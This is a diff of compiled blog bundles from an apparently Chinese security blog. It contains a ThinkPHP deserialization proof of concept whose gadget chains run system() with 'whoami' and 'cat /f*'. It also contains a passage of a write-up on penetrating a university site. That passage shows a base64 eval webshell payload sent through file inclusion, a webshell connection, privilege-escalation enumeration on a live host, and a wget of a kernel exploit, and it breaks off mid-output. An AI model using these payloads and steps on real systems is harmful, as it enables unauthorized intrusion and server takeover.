\uff0c",(0,t.jsx)(e.code,{children:"$fieldName"})," \u4e3a ",(0,t.jsx)(e.code,{children:"$this->data"})," \u952e\u540d \uff0c\u5c06",(0,t.jsx)(e.code,{children:"this->json"})," \u8bbe\u7f6e\u6210 ",(0,t.jsx)(e.code,{children:"$this->data"}),"\u7684\u952e\u540d\uff0c",(0,t.jsx)(e.code,{children:"$this->withAttr[$fieldName]"})," \u8bbe\u7f6e\u6210 \u6570\u7ec4\u5c31\u884c"]}),"\n",(0,t.jsxs)(e.ol,{start:"11",children:["\n",(0,t.jsxs)(e.li,{children:["\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->getJsonValue($fieldName, $value)"}),"\uff0c\u4fdd\u8bc1",(0,t.jsx)(e.code,{children:"$this->jsonAssoc"}),"\u4e3a\u771f\u5373\u53ef\uff0c\u5c06",(0,t.jsx)(e.code,{children:"$this->withAttr"}),"\u7684 \u503c\u8bbe\u7f6e\u6210\u4f60\u9700\u8981\u6267\u884c\u7684\u51fd\u6570\uff0c\u800c ",(0,t.jsx)(e.code,{children:"$this->data"}),"\u7684\u503c\u8bbe\u7f6e\u4e3a \u9700\u8981\u6267\u884c\u7684\u4ee3\u7801\u5373\u53ef"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646890.png",alt:"image-20220303185128690"})}),"\n",(0,t.jsx)(e.h2,{id:"poc",children:"POC"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nnamespace think{\n abstract class Model{\n private $lazySave;\n private $data;\n protected $table;\n private $withAttr;\n protected $json ;\n protected $jsonAssoc;\n private $exists;\n public function __construct($obj = '')\n {\n $this->lazySave = True;\n $this->exists = True;\n $this->data = ['arr' =>['whoami']];\n $this->table = $obj;\n $this->withAttr = ['arr'=>['system']];\n $this->json = ['arr'];\n $this->jsonAssoc = True;\n }\t\n }\n}\nnamespace think\\Model{\n use think\\Model;\n class Pivot extends Model{\n }\n}\n\nnamespace {\n $a = new think\\model\\Pivot();\n $b = new think\\model\\Pivot($a);\n echo base64_encode(serialize($b));\n\n}\n\n"})}),"\n",(0,t.jsx)(e.h2,{id:"\u7ed3\u679c",children:"\u7ed3\u679c"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646891.png",alt:"image-20220303185727488"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:'<?php\n\nnamespace think\\model\\concern;\n\ntrait Attribute\n{\n private $data = ["key" => ["key1" => "cat /f*"]];\n private $withAttr = ["key"=>["key1"=>"system"]];\n protected $json = ["key"];\n}\nnamespace think;\n\nabstract class Model\n{\n use model\\concern\\Attribute;\n private $lazySave;\n protected $withEvent;\n private $exists;\n private $force;\n protected $table;\n protected $jsonAssoc;\n function __construct($obj = \'\')\n {\n $this->lazySave = true;\n $this->withEvent = false;\n $this->exists = true;\n $this->force = true;\n $this->table = $obj;\n $this->jsonAssoc = true;\n }\n}\n\nnamespace think\\model;\n\nuse think\\Model;\n\nclass Pivot extends Model\n{\n}\n$a = new Pivot();\n$b = new Pivot($a);\n\necho urlencode(serialize($b));\n'})})]})}function a(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/1fa00a41.e9043bfe.js b/en/assets/js/1fa00a41.e9043bfe.js new file mode 100644 index 0000000..a914e32 --- /dev/null +++ b/en/assets/js/1fa00a41.e9043bfe.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2369],{28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>i});var s=n(96540);const l={},r=s.createContext(l);function o(e){const t=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:o(e.components),s.createElement(r.Provider,{value:t},e.children)}},47251:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>a,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","title":"4.2 GoogleNet.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.2 GoogleNet.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.2 GoogleNet.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"4.1 ResNet.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet"},"next":{"title":"4.3 DenseNet.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet"}}');var l=n(74848),r=n(28453);const o={},i="4.2 GoogleNet.md",c={},d=[];function h(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(t.header,{children:(0,l.jsx)(t.h1,{id:"42-googlenetmd",children:"4.2 GoogleNet.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(t.table,{children:[(0,l.jsx)(t.thead,{children:(0,l.jsxs)(t.tr,{children:[(0,l.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(t.tbody,{children:(0,l.jsxs)(t.tr,{children:[(0,l.jsx)(t.td,{style:{textAlign:"left"},children:(0,l.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(t.table,{children:[(0,l.jsx)(t.thead,{children:(0,l.jsxs)(t.tr,{children:[(0,l.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(t.tbody,{children:(0,l.jsxs)(t.tr,{children:[(0,l.jsx)(t.td,{style:{textAlign:"left"},children:(0,l.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]})]})}function a(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,l.jsx)(t,{...e,children:(0,l.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/222a769e.dcf02f64.js b/en/assets/js/222a769e.dcf02f64.js new file mode 100644 index 0000000..7f05cd3 --- /dev/null +++ b/en/assets/js/222a769e.dcf02f64.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6873],{28453:(e,n,s)=>{s.d(n,{R:()=>r,x:()=>a});var t=s(96540);const i={},o=t.createContext(i);function r(e){const n=t.useContext(o);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:r(e.components),t.createElement(o.Provider,{value:n},e.children)}},68942:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>a,default:()=>d,frontMatter:()=>r,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README","title":"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/01.\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/01.\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/01.\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177"},"next":{"title":"SpringBoot\u6e17\u900f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/"}}');var i=s(74848),o=s(28453);const r={},a="\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5",c={},l=[];function p(e){const n={code:"code",del:"del",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,o.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5",children:"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:34:34"})]})})]}),"\n",(0,i.jsxs)(n.p,{children:["\u4f7f\u7528\u81ea\u52a8\u5316\u811a\u672c\u914d\u5408",(0,i.jsx)(n.code,{children:"pathScan"}),"\u3001",(0,i.jsx)(n.code,{children:"nuclei"}),"\u8fdb\u884c\u6f0f\u6d1e\u626b\u63cf"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"#!/bin/bash\n\n# \u83b7\u53d6\u811a\u672c\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u57df\u540d\ndomain=$1\n\n# \u68c0\u67e5\u662f\u5426\u63d0\u4f9b\u4e86\u57df\u540d\nif [ -z \"$domain\" ]; then\n echo \"\u7528\u6cd5: $0 wjlin0.com\"\n exit 1\nfi\noutput_path=./output/$domain\n\n# \u521b\u5efa\u8def\u5f84\nmkdir -p $output_path\n\n# \u626b\u63cf\u5b50\u57df\u540d (-sd \u53d1\u73b0\u66f4\u591a\u76ee\u6807)\npathScan -s -sq $domain -o $output_path/out.csv -csv -sd\n# \u6392\u9664 5xx \u548c 400 \u72b6\u6001\u7801\u7684\u7ed3\u679c\ncat $output_path/out.csv | awk -F, 'NR > 1 && !($9 ~ /^[5]/ || $9 == 400) { print $2 }' > $output_path/url_out.txt\n\n# \u4ece url_out.txt \u4e2d\u63d0\u53d6\u57df\u540d, \u5e76\u4e14\u53bb\u91cd\ncat $output_path/url_out.txt | awk -F/ '{ print $3 }' | sort -u > $output_path/domain_out.txt\n# \u6392\u9664 vpn \u76f8\u5173\u57df\u540d \n\n\n# \u626b\u63cf\u6f0f\u6d1e\nnuclei -list $output_path/url_out.txt -o $output_path/nuclei_out.txt\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u6709\u4e2a\u4e25\u91cd\uff0c\u597d\u5bb6\u4f19",(0,i.jsx)(n.code,{children:"dvwa"}),"\uff0c\u8fdb\u53bb\u770b\u770b"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644109.png",alt:"image-20240112211000138"})}),"\n",(0,i.jsxs)(n.p,{children:["\u770b\u4e00\u4e0b\u6709\u6ca1\u6709",(0,i.jsx)(n.code,{children:"disable_functions()"})]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"http://xx.xx/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2B&1=phpinfo();\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644110.png",alt:"image-20240112211429705"})}),"\n",(0,i.jsx)(n.p,{children:"\u5e94\u8be5\u662f\u6ca1\u6709 \u7528\u8681\u5251\u4e0a\u7ebf\u5427"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644111.png",alt:"image-20240112170550295"})}),"\n",(0,i.jsx)(n.p,{children:"\u770b\u4e00\u4e0b\u80fd\u4e0d\u80fd\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u53d1\u73b0\u80fd\uff0c\u8fd8\u633a\u597d"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644112.png",alt:"image-20240112170705054"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644113.png",alt:"image-20240112175624858"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-text",children:'Linux mituan-cg-2106 4.19.24-7.34.cbp.al7.x86_64 #1 SMP Thu Dec 15 08:56:31 UTC 2022 x86_64 GNU/Linux\n\nPRETTY_NAME="Debian GNU/Linux 9 (stretch)"\nNAME="Debian GNU/Linux"\nVERSION_ID="9"\nVERSION="9 (stretch)"\nID=debian\nHOME_URL="https://www.debian.org/"\nSUPPORT_URL="https://www.debian.org/support"\nBUG_REPORT_URL="https://bugs.debian.org/"\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u67e5\u627e\u6709\u6ca1\u6709suid"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"find / -perm -u=s -type f 2>/dev/null\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644114.png",alt:"image-20240112171848295"})}),"\n",(0,i.jsx)(n.p,{children:"\u4fe1\u606f\u6536\u96c6\u811a\u672c"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:'wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh\n'})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-tex",children:"=====================( Current Output Verbosity Level: 0 )======================\n===============================================================( humanity )=====\n[!] nowar0 Should we question autocrats and their \"military operations\"?... yes!\n---\n NO \n WAR \n---\n==================================================================( users )=====\n[i] usr000 Current user groups............................................. yes!\n[*] usr010 Is current user in an administrative group?..................... nope\n[*] usr020 Are there other users in administrative groups?................. nope\n[*] usr030 Other users with shell.......................................... yes!\n[i] usr040 Environment information......................................... skip\n[i] usr050 Groups for other users.......................................... skip\n[i] usr060 Other users..................................................... skip\n[*] usr070 PATH variables defined inside /etc.............................. yes!\n[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope\n===================================================================( sudo )=====\n[!] sud000 Can we sudo without a password?................................. nope\n[!] sud010 Can we list sudo commands without a password?................... nope\n[!] sud020 Can we sudo with a password?.................................... nope\n[!] sud030 Can we list sudo commands with a password?...................... nope\n[*] sud040 Can we read sudoers files?...................................... nope\n[*] sud050 Do we know if any other users used sudo?........................ nope\n============================================================( file system )=====\n[*] fst000 Writable files outside user's home.............................. yes!\n[*] fst010 Binaries with setuid bit........................................ yes!\n[!] fst020 Uncommon setuid binaries........................................ nope\n[!] fst030 Can we write to any setuid binary?.............................. nope\n[*] fst040 Binaries with setgid bit........................................ skip\n[!] fst050 Uncommon setgid binaries........................................ skip\n[!] fst060 Can we write to any setgid binary?.............................. skip\n[*] fst070 Can we read /root?.............................................. nope\n[*] fst080 Can we read subdirectories under /home?......................... nope\n[*] fst090 SSH files in home directories................................... nope\n[*] fst100 Useful binaries................................................. yes!\n[*] fst110 Other interesting files in home directories..................... nope\n[!] fst120 Are there any credentials in fstab/mtab?........................ nope\n[*] fst130 Does 'www-data' have mail?...................................... nope\n[!] fst140 Can we access other users mail?................................. nope\n[*] fst150 Looking for GIT/SVN repositories................................ nope\n[!] fst160 Can we write to critical files?................................. nope\n[!] fst170 Can we write to critical directories?........................... nope\n[!] fst180 Can we write to directories from PATH defined in /etc?.......... nope\n[!] fst190 Can we read any backup?......................................... nope\n[!] fst200 Are there possible credentials in any shell history file?....... nope\n[!] fst210 Are there NFS exports with 'no_root_squash' option?............. nope\n[*] fst220 Are there NFS exports with 'no_all_squash' option?.............. nope\n[i] fst500 Files owned by user 'www-data'.................................. skip\n[i] fst510 SSH files anywhere.............................................. skip\n[i] fst520 Check hosts.equiv file and its contents......................... skip\n[i] fst530 List NFS server shares.......................................... skip\n[i] fst540 Dump fstab file................................................. skip\n=================================================================( system )=====\n[i] sys000 Who is logged in................................................ skip\n[i] sys010 Last logged in users............................................ skip\n[!] sys020 Does the /etc/passwd have hashes?............................... nope\n[!] sys022 Does the /etc/group have hashes?................................ nope\n[!] sys030 Can we read shadow files?....................................... nope\n[*] sys040 Check for other superuser accounts.............................. nope\n[*] sys050 Can root user log in via SSH?................................... nope\n[i] sys060 List available shells........................................... skip\n[i] sys070 System umask in /etc/login.defs................................. skip\n[i] sys080 System password policies in /etc/login.defs..................... skip\n===============================================================( security )=====\n[*] sec000 Is SELinux present?............................................. nope\n[*] sec010 List files with capabilities.................................... nope\n[!] sec020 Can we write to a binary with caps?............................. nope\n[!] sec030 Do we have all caps in any binary?.............................. nope\n[*] sec040 Users with associated capabilities.............................. nope\n[!] sec050 Does current user have capabilities?............................ skip\n[!] sec060 Can we read the auditd log?..................................... nope\n========================================================( recurrent tasks )=====\n[*] ret000 User crontab.................................................... nope\n[!] ret010 Cron tasks writable by user..................................... nope\n[*] ret020 Cron jobs....................................................... yes!\n[*] ret030 Can we read user crontabs....................................... nope\n[*] ret040 Can we list other user cron tasks?.............................. nope\n[*] ret050 Can we write to any paths present in cron jobs.................. yes!\n[!] ret060 Can we write to executable paths present in cron jobs........... nope\n[i] ret400 Cron files...................................................... skip\n[*] ret500 User systemd timers............................................. nope\n[!] ret510 Can we write in any system timer?............................... nope\n[i] ret900 Systemd timers.................................................. skip\n================================================================( network )=====\n[*] net000 Services listening only on localhost............................ yes!\n[!] net010 Can we sniff traffic with tcpdump?.............................. nope\n[i] net500 NIC and IP information.......................................... skip\n[i] net510 Routing table................................................... skip\n[i] net520 ARP table....................................................... skip\n[i] net530 Nameservers..................................................... skip\n[i] net540 Systemd Nameservers............................................. skip\n[i] net550 Listening TCP................................................... skip\n[i] net560 Listening UDP................................................... skip\n===============================================================( services )=====\n[!] srv000 Can we write in service files?.................................. nope\n[!] srv010 Can we write in binaries executed by services?.................. nope\n[*] srv020 Files in /etc/init.d/ not belonging to root..................... nope\n[*] srv030 Files in /etc/rc.d/init.d not belonging to root................. nope\n[*] srv040 Upstart files not belonging to root............................. nope\n[*] srv050 Files in /usr/local/etc/rc.d not belonging to root.............. nope\n[i] srv400 Contents of /etc/inetd.conf..................................... skip\n[i] srv410 Contents of /etc/xinetd.conf.................................... skip\n[i] srv420 List /etc/xinetd.d if used...................................... skip\n[i] srv430 List /etc/init.d/ permissions................................... skip\n[i] srv440 List /etc/rc.d/init.d permissions............................... skip\n[i] srv450 List /usr/local/etc/rc.d permissions............................ skip\n[i] srv460 List /etc/init/ permissions..................................... skip\n[!] srv500 Can we write in systemd service files?.......................... nope\n[!] srv510 Can we write in binaries executed by systemd services?.......... nope\n[*] srv520 Systemd files not belonging to root............................. nope\n[i] srv900 Systemd config files permissions................................ skip\n===============================================================( software )=====\n[!] sof000 Can we connect to MySQL with root/root credentials?............. nope\n[!] sof010 Can we connect to MySQL as root without password?............... nope\n[!] sof015 Are there credentials in mysql_history file?.................... nope\n[!] sof020 Can we connect to PostgreSQL template0 as postgres and no pass?. nope\n[!] sof020 Can we connect to PostgreSQL template1 as postgres and no pass?. nope\n[!] sof020 Can we connect to PostgreSQL template0 as psql and no pass?..... nope\n[!] sof020 Can we connect to PostgreSQL template1 as psql and no pass?..... nope\n[*] sof030 Installed apache modules........................................ yes!\n[!] sof040 Found any .htpasswd files?...................................... nope\n[!] sof050 Are there private keys in ssh-agent?............................ nope\n[!] sof060 Are there gpg keys cached in gpg-agent?......................... nope\n[!] sof070 Can we write to a ssh-agent socket?............................. nope\n[!] sof080 Can we write to a gpg-agent socket?............................. nope\n[!] sof090 Found any keepass database files?............................... nope\n[!] sof100 Found any 'pass' store directories?............................. nope\n[!] sof110 Are there any tmux sessions available?.......................... nope\n[*] sof120 Are there any tmux sessions from other users?................... nope\n[!] sof130 Can we write to tmux session sockets from other users?.......... nope\n[!] sof140 Are any screen sessions available?.............................. nope\n[*] sof150 Are there any screen sessions from other users?................. nope\n[!] sof160 Can we write to screen session sockets from other users?........ nope\n[*] sof170 Can we access MongoDB databases without credentials?............ nope\n[!] sof180 Can we access any Kerberos credentials?......................... nope\n[i] sof500 Sudo version.................................................... skip\n[i] sof510 MySQL version................................................... skip\n[i] sof520 Postgres version................................................ skip\n[i] sof530 Apache version.................................................. skip\n[i] sof540 Tmux version.................................................... skip\n[i] sof550 Screen version.................................................. skip\n=============================================================( containers )=====\n[*] ctn000 Are we in a docker container?................................... nope\n[*] ctn010 Is docker available?............................................ nope\n[!] ctn020 Is the user a member of the 'docker' group?..................... nope\n[*] ctn200 Are we in a lxc container?...................................... nope\n[!] ctn210 Is the user a member of any lxc/lxd group?...................... nope\n==============================================================( processes )=====\n[i] pro000 Waiting for the process monitor to finish....................... yes!\n[i] pro001 Retrieving process binaries..................................... yes!\n[i] pro002 Retrieving process users........................................ yes!\n[!] pro010 Can we write in any process binary?............................. nope\n[*] pro020 Processes running with root permissions......................... yes!\n[*] pro030 Processes running by non-root users with shell.................. nope\n[i] pro500 Running processes............................................... skip\n[i] pro510 Running process binaries and permissions........................ skip\n===================================================================( CVEs )=====\n[!] cve-2019-5736 Escalate in some types of docker containers.............. nope\n[!] cve-2021-3156 Sudo Baron Samedit vulnerability......................... nope\n[!] cve-2021-3560 Checking for policykit vulnerability..................... nope\n[!] cve-2021-4034 Checking for PwnKit vulnerability........................ nope\n[!] cve-2022-0847 Dirty Pipe vulnerability................................. nope\n[!] cve-2022-25636 Netfilter linux kernel vulnerability.................... nope\n[!] cve-2023-22809 Sudoedit bypass in Sudo <= 1.9.12p1..................... nope\n\n==================================( FINISHED )==================================\n"})}),"\n",(0,i.jsx)(n.p,{children:"\u67e5\u627e\u672c\u5730\u63d0\u6743\u6f0f\u6d1e"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O linux-exploit-suggester.sh\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-tex",children:"./linux-exploit-suggester.sh\n\nAvailable information:\n\nKernel version: 4.19.24\nArchitecture: x86_64\nDistribution: N/A\nDistribution version: N/A\nAdditional checks (CONFIG_*, sysctl entries, custom Bash commands): performed\nPackage listing: N/A\n\nSearching among:\n\n81 kernel space exploits\n0 user space exploits\n\nPossible Exploits:\n\n[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)\n\n Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/\nhttps://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/\n Exposure: less probable\n Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}\n Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c\n Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)\n\n[+] [CVE-2022-2586] nft_object UAF\n\n Details: https://www.openwall.com/lists/oss-security/2022/08/29/5\n Exposure: less probable\n Tags: ubuntu=(20.04){kernel:5.12.13}\n Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1\n Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)\n\n[+] [CVE-2021-27365] linux-iscsi\n\n Details: https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html\n Exposure: less probable\n Tags: RHEL=8\n Download URL: https://codeload.github.com/grimm-co/NotQuite0DayFriday/zip/trunk\n Comments: CONFIG_SLAB_FREELIST_HARDENED must not be enabled\n\n[+] [CVE-2021-22555] Netfilter heap out-of-bounds write\n\n Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html\n Exposure: less probable\n Tags: ubuntu=20.04{kernel:5.8.0-*}\n Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c\n ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c\n Comments: ip_tables kernel module must be loaded\n\n[+] [CVE-2019-15666] XFRM_UAF\n\n Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc\n Exposure: less probable\n Download URL: \n Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled\n\n[+] [CVE-2019-13272] PTRACE_TRACEME\n\n Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903\n Exposure: less probable\n Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}\n Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip\n ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c\n Comments: Requires an active PolKit agent.\n\n"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\u5c1d\u8bd5",(0,i.jsx)(n.code,{children:"CVE-2019-13272"})]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u67e5\u770b",(0,i.jsx)(n.code,{children:"gblic"}),"\u7248\u672c"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"www-data@mituan-cg-2106:/tmp$ ldd --version\nldd (Debian GLIBC 2.24-11+deb9u3) 2.24\nCopyright (C) 2016 Free Software Foundation, 